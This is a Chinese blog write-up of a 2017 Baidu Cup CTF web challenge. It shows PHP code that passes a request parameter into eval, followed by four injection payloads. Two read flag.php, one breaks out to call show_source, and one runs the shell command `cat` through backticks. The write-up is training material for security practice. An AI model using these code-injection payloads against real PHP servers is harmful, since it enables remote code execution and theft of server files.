美文网首页
CTF || [“百度杯”CTF比赛 2017 二月场]爆破-2

CTF || [“百度杯”CTF比赛 2017 二月场]爆破-2

作者: mirrorr | 来源:发表于2018-06-17 20:54 被阅读0次

    题目内容:flag不在变量中。

    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
    

    分值:10分

    方法一:
    flag不在变量中,可以推测flag在文件中,使用file_get_contents函数
    ?hello=file_get_contents(%27flag.php%27),获得flag.php的内容
    然后查看网页源代码
    其中'编码为%27,url中特殊符号编码是为了避免歧义。

    方法二:
    ?hello=file("flag.php")

    file_get_contents() 函数把整个文件读入一个字符串中。

    file() 函数把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

    方法三:
    ?hello=1);show_source(%27flag.php%27);var_dump(
    eval语句变成:eval("var_dump(1);show_source(%27flag.php%27);var_dump();")
    show_source() 函数对文件进行语法高亮显示。本函数是 highlight_file() 的别名。

    方法四:
    ?hello=);echo%20`cat%20./flag.php`;//
    eval语句变成:eval("var_dump();echo `cat ./flag.php`;//");
    cat Linux中查看全部文件
    ./ 执行脚本

    参考
    “百度杯”CTF比赛 2017 二月场——Web-爆破-2
    url为什么要编码
    https://www.ichunqiu.com/writeup/detail/859
    https://www.ichunqiu.com/writeup/detail/681
    https://www.ichunqiu.com/writeup/detail/343
    https://www.ichunqiu.com/writeup/detail/1613

    相关文章

      网友评论

          本文标题:CTF || [“百度杯”CTF比赛 2017 二月场]爆破-2

          本文链接:https://www.haomeiwen.com/subject/poxgeftx.html